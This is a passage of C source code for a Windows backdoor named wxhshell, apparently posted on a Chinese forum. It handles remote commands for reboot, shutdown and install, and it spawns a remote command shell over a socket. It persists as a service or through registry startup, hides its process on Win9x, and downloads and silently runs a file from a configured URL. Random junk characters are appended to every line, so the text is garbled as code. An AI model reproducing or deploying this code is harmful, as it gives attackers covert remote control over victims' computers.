  // 帮助 8!8 yA  
  case '?': { )1 ]P4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4n6EkTa  
    break; /ZC/yGdIS_  
  } U caLi&  
  // 安装 qKoD*cl)Za  
  case 'i': { Uc oVp}vl  
    if(Install()) kLc}a5;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %eJolztKZ  
    else z&fXxp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qm RdO R  
    break; u!kC+0Y  
    } I*,!zym  
  // 卸载 ,w>WuRN"  
  case 'r': { mqw5\7s?  
    if(Uninstall()) hf5yTs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 80qSPitj  
    else fL^+Qb}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >q W_%  
    break; c6 O1Z\M@\  
    } kmfz=q?  
  // 显示 wxhshell 所在路径 J<K- Yeph  
  case 'p': { -+1_ 1!  
    char svExeFile[MAX_PATH]; 7G,{BBB  
    strcpy(svExeFile,"\n\r"); 1Z9_sd~/6  
      strcat(svExeFile,ExeFile); \#1*r'V8  
        send(wsh,svExeFile,strlen(svExeFile),0); b.=bgRV2{x  
    break; Fh2$,$ 2  
    } xd[GJ;xvs  
  // 重启 f P|rD[  
  case 'b': { F_28q15~:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pPI'0x  
    if(Boot(REBOOT)) ~W?F.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o }EipTL  
    else { >%qk2h>  
    closesocket(wsh); "9mVBa|Q  
    ExitThread(0); DeqTr:  
    } kR+xInDM*  
    break; CKC%|xke  
    } ii0{$}eoh  
  // 关机 Xx.4K>j+j  
  case 'd': { 3O{*~D&n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?&qa3y)wX:  
    if(Boot(SHUTDOWN)) 82w;}(!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lr >:S  
    else { Xz/5 Wis4  
    closesocket(wsh); M5$YFGGR  
    ExitThread(0); )C?bb$  G  
    } VD=}GY33=  
    break; z"cF\F  
    } &/%A 9R,  
  // 获取shell q. i2BoOd  
  case 's': { ~ ^)D#Lo  
    CmdShell(wsh); xZmO^F5KHj  
    closesocket(wsh); G)p pkH`qj  
    ExitThread(0); r'!HWR  
    break; *t_"]v-w  
  } "EA6RFRD  
  // 退出 N?Wx-pK  
  case 'x': { E;$;g#ksf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BQX6Q<  
    CloseIt(wsh); aT9+] Ig  
    break; qN5 ru2  
    } gmCW__oR  
  // 离开 zDEX `~c  
  case 'q': { j@yK#==k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +>zjTP7\e"  
    closesocket(wsh); 2Fi ~GY_  
    WSACleanup(); f9+J}  
    exit(1); i5f8}`w  
    break; uc0 1{t0,  
        } bfjC:"!H  
  } 0F"W~OQ6  
  } ~&zrDj~FI  
7(ni_|$|  
  // 提示信息 [w0@7p"7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,r=9$i_  
} U8f!yXF'  
  } hW^*b:v{  
YY! Lv:.7>  
  return; VnZRsFY<^  
} ].=~C"s,a  
c"nowbf  
// shell模块句柄 AXnuXa(j  
int CmdShell(SOCKET sock) FU{$oCh/5  
{ xiWP^dIF  
STARTUPINFO si; kAu-=X  
ZeroMemory(&si,sizeof(si)); goE \C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vb o| q[z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3YKJN4  
PROCESS_INFORMATION ProcessInfo; *En29N#a{  
char cmdline[]="cmd"; 7H$I9e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [uJfmrEH  
  return 0; 6MewQ{hi  
} RA%=_wPD +  
:i{Svb*_'  
// 自身启动模式 >i6sJ)2?>  
int StartFromService(void)  U(d K  
{ ?L%BD7  
typedef struct ^{V t  
{ #8Bs15aV  
  DWORD ExitStatus; :\!D 6\o6  
  DWORD PebBaseAddress; `l#|][B)g$  
  DWORD AffinityMask; e;|:W A  
  DWORD BasePriority; ,A$#gLyk<  
  ULONG UniqueProcessId; {7'Evfn)  
  ULONG InheritedFromUniqueProcessId; t2L }  
}   PROCESS_BASIC_INFORMATION; ~CtLSyB  
PRdyc+bf  
PROCNTQSIP NtQueryInformationProcess; 6 5%WjO  
lx'^vK%F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :V9%R~h/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D(E3{\*R  
~pZ<VH;h  
  HANDLE             hProcess; _/S qw  
  PROCESS_BASIC_INFORMATION pbi; '-,$@l#  
^"\3dfzKM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0[# zn  
  if(NULL == hInst ) return 0; _#dBcEH[  
J]!&E~Y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); VW$a(G_h  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Gu#Vc.e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O(R1D/A[  
jkQ%b.a  
  if (!NtQueryInformationProcess) return 0; y[D8rFw  
f:\)oIW9Kk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c\Z.V*o  
  if(!hProcess) return 0; Y94 ^mt-  
s~z~9#G(6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }&*wJ]j`L  
*(,zPn,  
  CloseHandle(hProcess); { R`"Nk  
]ZMFK>"^%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RXi/&'+H  
if(hProcess==NULL) return 0; )Ja&Y  
eP?=tUB!S  
HMODULE hMod; ir{li?kV  
char procName[255];  ?W3l  
unsigned long cbNeeded; mTj ?W$+r  
H@'f=Y*D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  &Hi;>  
%W(/W9B$/F  
  CloseHandle(hProcess); 9hTzi+'S  
f?qp*  
if(strstr(procName,"services")) return 1; // 以服务启动 {^T_m)|n  
mA?fCs  
  return 0; // 注册表启动 8|"26UwD/  
} iwXMe(k  
tl=H9w&@  
// 主模块 1_jd1 UT  
int StartWxhshell(LPSTR lpCmdLine) NimW=X;c  
{ N^TE ;BM  
  SOCKET wsl; @ Y&UP  
BOOL val=TRUE; '!DS3zEeLS  
  int port=0; joRrsxFU  
  struct sockaddr_in door; NQmdEsK  
sGp]jqX2,m  
  if(wscfg.ws_autoins) Install(); W5^<4Ya!  
MQY}}a-oug  
port=atoi(lpCmdLine); P3k@ptc-K  
u)4eu,MBT  
if(port<=0) port=wscfg.ws_port; \-W|)H  
vTl7x  
  WSADATA data; r$cq2pkX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4G_At  
3FgTM(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @2;/-,4O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fP KFU  
  door.sin_family = AF_INET; bzWWW^kNL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %B~@wcI)W  
  door.sin_port = htons(port); Ncr*F^J4  
YAsE,M+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =j~vL`d2]  
closesocket(wsl); TF %MO\!  
return 1; ;{Nc9d  
} |[W7&@hF  
5hvg]w95;  
  if(listen(wsl,2) == INVALID_SOCKET) { UOa n  
closesocket(wsl); :pCv!g2  
return 1; =L]GQ=d  
} k^#+Wma7  
  Wxhshell(wsl); {g]Mx|5Q  
  WSACleanup(); XQPlhpcv  
_ *.ImD  
return 0; )gHfbUYS  
)?MUUI:  
} VK>Cf>  
(Zoopkxw  
// 以NT服务方式启动 P;U(2;9 N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )Y &RMYy  
{ -(lCM/h  
DWORD   status = 0; fc<~R  
  DWORD   specificError = 0xfffffff; >]<4t06D  
UJiy] y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !dV2:`|+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @#2KmM~I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xO{$6M3-~  
  serviceStatus.dwWin32ExitCode     = 0; k@[{_@>4^  
  serviceStatus.dwServiceSpecificExitCode = 0; ~zYk,;m  
  serviceStatus.dwCheckPoint       = 0; IwVdx^9  
  serviceStatus.dwWaitHint       = 0; XM57 UG  
x~u"KU2B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1W'0h$5^"  
  if (hServiceStatusHandle==0) return; z(n Ba]^[F  
e|d~&Bk0  
status = GetLastError(); U BWUq  
  if (status!=NO_ERROR)  \RS ,Y  
{ 2_Gb K-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6 hiWgbE  
    serviceStatus.dwCheckPoint       = 0; 1d 1 ~`B  
    serviceStatus.dwWaitHint       = 0; 4ATIF ;G'<  
    serviceStatus.dwWin32ExitCode     = status; (H6Mi.uZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; A4daIhP (  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dnp><%  
    return; )dfwYS*[n  
  } e0ULr!p  
Z</57w#-7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hf\/2Vl  
  serviceStatus.dwCheckPoint       = 0; LDY3Ya`6m  
  serviceStatus.dwWaitHint       = 0; hjq@ .5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *t300`x  
} 0=k  
6E{(_i  
// 处理NT服务事件,比如:启动、停止 2&zklXuo:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (9Of,2]&E  
{ X$*]$Ge>  
switch(fdwControl) K/0Wp %  
{ * /^}  
case SERVICE_CONTROL_STOP: $'n?V=4  
  serviceStatus.dwWin32ExitCode = 0; ]P >c{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0{(5J,/BF  
  serviceStatus.dwCheckPoint   = 0; oTg 'N  
  serviceStatus.dwWaitHint     = 0; dC>(UDC  
  { ,Bs/.htQj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )I"I[jDw  
  } PYiO l  
  return; 6 w4HJZF~  
case SERVICE_CONTROL_PAUSE: )lU9\"?o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @^.o8+Pp  
  break; DN;|?oNZ  
case SERVICE_CONTROL_CONTINUE: ]Q#k"Je  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gKP=@v%-  
  break; 8GeJ%^0o}  
case SERVICE_CONTROL_INTERROGATE: FEdFGT  
  break; @rS(3wu_&  
}; 7U!-_)n{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zvn3i5z  
} e F)my  
Pq, iR J  
// 标准应用程序主函数 {dYz|O<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $;rvKco)%  
{ W[:CCCDL  
c{j)beaS  
// 获取操作系统版本 uann'ho?q  
OsIsNt=GetOsVer(); s6k(K>Pl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S1#5oy2  
F#^/=AR'  
  // 从命令行安装 7c!#e=W@B  
  if(strpbrk(lpCmdLine,"iI")) Install(); owx0J,,G  
mFmxEv  
  // 下载执行文件 w:ASB>,!  
if(wscfg.ws_downexe) { ZgfhNI\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B'I_i$g4w  
  WinExec(wscfg.ws_filenam,SW_HIDE);  (duR1Dz  
} kqjj&{vPFJ  
7Vu f4Z5  
if(!OsIsNt) { ~ga WZQXyu  
// 如果时win9x,隐藏进程并且设置为注册表启动 iB5q"hoZC  
HideProc(); KQ^|prN?y  
StartWxhshell(lpCmdLine); QjKh#sU&  
} urg^>n4V]  
else (Q=:ln;kM  
  if(StartFromService()) bg5i+a,?  
  // 以服务方式启动 .{-X1tJ7  
  StartServiceCtrlDispatcher(DispatchTable); ?2q0[T?e  
else V\AY=u  
  // 普通方式启动 3WM*4   
  StartWxhshell(lpCmdLine); 1a mEQ  
c-"vQ>ux+  
return 0; = |E8z u%  
}
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只看该作者 1 发表于: 2006-10-10
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